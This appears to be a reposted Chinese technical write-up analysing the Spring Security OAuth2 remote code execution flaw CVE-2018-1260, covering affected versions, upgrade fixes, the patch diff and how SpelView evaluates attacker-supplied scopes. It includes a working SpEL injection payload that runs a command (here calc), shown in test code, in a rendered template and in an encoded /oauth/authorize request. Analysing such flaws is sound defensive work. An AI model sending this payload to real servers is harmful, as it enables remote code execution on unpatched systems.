Spring Security OAuth2远程代码执行(CVE-2018-1260)漏洞分析

栏目: 后端 · 发布时间: 7年前

内容简介:严重在Spring Security OAuth 2.x老的版本中,恶意用户可以向授权服务器发起授权请求,当转发至授权审批终端攻击发生需要满足的条件:

严重

漏洞描述

在Spring Security OAuth 2.x老的版本中,恶意用户可以向授权服务器发起授权请求,当转发至授权审批终端 (Approval Endpoint) 时,会导致远程代码执行漏洞的攻击。

攻击发生需要满足的条件:

  1. 被攻击端作为授权服务器时 (如使用了 @EnableAuthorizationServer 注解)
  2. 使用了默认审批终端,或重写的审批终端逻辑中使用 SpelExpressionParser 等对输出内容进行SPEL表达式解析
  3. 未配置Scopes

受影响版本

  1. Spring Security OAuth 2.3到2.3.2
  2. Spring Security OAuth 2.2到2.2.1
  3. Spring Security OAuth 2.1到2.1.1
  4. Spring Security OAuth 2.0到2.0.14
  5. 已经停止支持的老版本

修复建议

  1. Spring Security OAuth 2.3.x升级到2.3.3
  2. Spring Security OAuth 2.2.x升级到2.2.2
  3. Spring Security OAuth 2.1.x升级到2.1.2
  4. Spring Security OAuth 2.0.x升级到2.0.15
  5. 其他或更早期版本升级到相关支持的分支版本

漏洞分析

补丁对比

通过对漏洞描述的理解,我们可以猜测漏洞触发点应该在Approval Endpoint附近。

对比 修复前后两个版本

Spring Security OAuth2远程代码执行(CVE-2018-1260)漏洞分析

分析其中的提交信息和有变更的文件名,可以很快定位到漏洞相关信息的 Commit

修改代码比较多,就不贴图了。核心的修改内容是在 WhitelabelApprovalEndpoint 中使用直接生成HTML字符串 (调用了 HtmlUtils.htmlEscape() 对用户可控的输出值进行URL编码) 代替了原来使用 SpelView 解析模板的方式,并且彻底删除了 SpelView

“Endpoint”、“SpelView”这些关键字,有没有让你想起Spring Security OAuth以前的一个RCE?没错,就是 CVE-2016-4977 。不太了解的同学可以去回顾回顾

同时,官方也在修复版本中增加了一个对这个漏洞的测试用例,贴心的把控制点和PoC都告诉我们了。

赶紧搭个环境看看。

环境搭建

结合补丁对比分析得到的结论,我们可以搭建两种环境帮助对漏洞的理解和分析:

  1. spring-security-oauth源码调试环境
    • 需要对Spring Security和Spring Security OAuth框架有一定的了解(原理和执行流程)
  2. spring-security-oauth示例项目环境

本文使用第一种:

  • IDE:IDEA
  • JDK:1.8
  • Project:spring-security-oauth-2.2.1.RELEASE

WhitelabelErrorEndpointTests 的测试集中增加2.2.2.RELEASE新增的测试用例,关键代码如下:

parameters.put("client_id", "client");
HashMap<String, Object> model = new HashMap<String, Object>();
model.put("authorizationRequest", createFromParameters(parameters));
model.put("scopes", Collections.singletonMap("${T(java.lang.Runtime).getRuntime().exec(\"calc\")}", "true"));
ModelAndView result = endpoint.getAccessConfirmation(model, request);
result.getView().render(result.getModel(), request , response);

流程跟踪

调用 WhitelabelErrorEndpoint.getAccessConfirmation() ,传入携带 scopes 键值对 (我们的PoC在里面)modelcreateTemplate() 在创建页面模板时,会判断是否存在 scopes ,是则调用 createScopes() 将其值转换为HTML字符串,并替换模板中的 %scopes% 关键字。

在返回 ModelAndView 前,用模板字符串创建了一个 SpelView

public SpelView(String template){
    this.template = template;
    this.prefix = new RandomValueStringGenerator().generate() + "{";
    this.context.addPropertyAccessor(new MapAccessor());
    this.resolver = new PlaceholderResolver() {
        public String resolvePlaceholder(String name){
            Expression expression = parser.parseExpression(name);
            Object value = expression.getValue(context);
            return value == null ? null : value.toString();
        }
    };
}

resolver 实现了 PlaceholderResolver.resolvePlaceholder() ,在其中对传入的参数进行SPEL表达式解析。

回到测试用例,调用 SpelView.render() 对传入的 model 进行渲染,渲染什么?其实就是递归查找模板字符串中所有的SPEL表达式,并调用 PlaceholderResolver.resolvePlaceholder() 解析得到它的值。

好的,重点来了。

当解析到我们传入的 T(java.lang.Runtime).getRuntime().exec(\"calc\") 时,计算器自然也就弹出来了。

一些你可能不太感兴趣的小细节

关于CVE-2016-4977的补丁

为什么CVE-2016-4977的补丁对这个漏洞没有效果?

我们先回顾一下CVE-2016-4977的大致细节。

为了修复CVE-2016-4977,Spring Security OAuth在2.0.10.RELEASE及之后版本的 SpelView 中,将模板字符串内所有的 ${} 替换成了 [6位随机字符串]{} (详见CVE-2016-4977补丁) ,并将其作为SPEL表达式标识符,提取其包裹的字符串 (CVE-2016-4977中是 errorSummary 进行解析。

当递归解析到内部 ${} 字符串 (即恶意用户传入PoC部分) 时,由于此时用于识别SPEL表达式的标识符已经不是 ${} 了,且6位字符串的随机性也使得用户无法猜测其当前值,所以恶意用户传入的数据无法再被当成SPEL表达式来执行。

也可以这么说,CVE-2016-4977的补丁主要用于防止 SpelView 中任何递归形式的表达式的解析被恶意利用。

而在这个漏洞中,PoC内容被直接拼接进模板字符串中被解析,所以不受6位随机字符串的影响。

Spring官方一气之下,把 SpelView 给删了。

一个被连续执行三次的RCE

由于每个Scope会被解析成一个包含两个成组的 radio HTML元素,所以在解析之前,模板字符串是长成这样的:

<html>
    <body>
        <h1>OAuth Approval</h1>
        <p>Do you authorize 'xJPRnj{authorizationRequest.clientId}' to access your protected resources?</p>
        <formid='confirmationForm'name='confirmationForm'action='xJPRnj{path}/oauth/authorize'method='post'>
            <inputname='user_oauth_approval'value='true'type='hidden'/>
            <ul>
                <li>
                    <divclass='form-group'>
                        xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}:
                        <inputtype='radio'name='xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}'value='true'checked>Approve</input>
                        <inputtype='radio'name='xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}'value='false'>Deny</input>
                    </div>
                </li>
            </ul>
            <label><inputname='authorize'value='Authorize'type='submit'/></label>
        </form>
    </body>
</html>

看到了什么?是的,两个 radioname 属性值也变成了我们的PoC,所以在运行完测试用例之后,会弹出三个计算器。

另外,Scopes是一个集合,因此理论上我们也可以一次传入多个SPEL表达式:

HashMap<String, Object> scopes = new HashMap<String, Object>();
scopes.put("${T(java.lang.Runtime).getRuntime().exec(\"calc\")}", "true");
scopes.put("${T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}", "false");
model.put("scopes", scopes);

这次是六个计算器。

Web应用环境中的Scopes值

分析到这里,对于不太了解Spring Security OAuth的同学,会有一个疑问,这个漏洞到底怎么利用?

虽然 WhitelabelApprovalEndpoint.getAccessConfirmation() 配置了 @RequestMapping() 注解,可以直接访问/oauth/confirm_access直接进入该方法,但方法中判断并获取scopes是通过 model.get()request.getAttribute() ,无法通过URL的请求参数对其传参赋值。

简单介绍一下其相关流程。

  1. 当客户端向授权服务器发起授权请求时 (/oauth/authorize) ,会将请求参数中 scope 的值转换为 Set 集合封装进 AuthorizationRequest 中,校验应用配置的Scopes是否为空或所有Scope都有效
  2. 授权服务器内部重定向请求至/oauth/confirm_access,之后的事就不用再多说了吧

因此可以这样请求:

http://domain.com/oauth/authorize?client_id=[id]&response_type=[type]&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc%22%29%7D&redirect_uri=[uri ]

需要注意的是,/oauth/authorize和/oauth/confirm_access默认都有认证保护


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据资本时代

数据资本时代

Viktor Mayer-Schnberger / 李晓霞、周涛 / 中信出版集团股份有限公司 / 2018-11-1 / CNY 58.00

【编辑推荐】 大数据除了能对我们的生活、工作、思维产生重大变革外,还能够做什么?畅销书《大数据时代》作者舍恩伯格在新书《数据资本时代》中,展示了大数据将如何从根本上改变经济——这并不是因为数据是一种新型石油,而是因为数据是一种新型润滑脂,它将给市场带来巨大能量,给公司带来巨大压力,使金融资本的作用大大削弱。赢家是市场,而并非资本。 这本书在当下国内出版,可以说恰逢其时。时下,中国经济正......一起来看看 《数据资本时代》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具